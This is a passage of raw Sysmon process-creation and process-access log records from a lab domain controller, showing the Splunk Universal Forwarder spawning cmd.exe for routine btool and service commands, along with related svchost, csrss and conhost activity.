Files\SplunkUniversalForwarder\bin\splunk.exe+d1d8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001710Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28D0-5F80-4000-000000007F01}3976C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28D0-5F80-3F00-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000001709Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-3F00-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001708Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001707Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001706Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001705Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001704Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001703Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001702Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001701Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001700Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001699Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-3F00-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001698Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28D0-5F80-3E00-000000007F01}39443948C:\Windows\system32\cmd.exe{A5F018FF-28D0-5F80-3F00-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001697Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.206{A5F018FF-28D0-5F80-3F00-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_argsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-28D0-5F80-3E00-000000007F01}3944C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000001696Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-3E00-000000007F01}3944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001695Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001694Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001693Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001692Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001691Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001690Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001689Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001688Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001687Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001686Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-3E00-000000007F01}3944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001685Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D0-5F80-3E00-000000007F01}3944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7d48|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001684Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.202{A5F018FF-28D0-5F80-3E00-000000007F01}3944C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_argsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000001683Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.184{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program 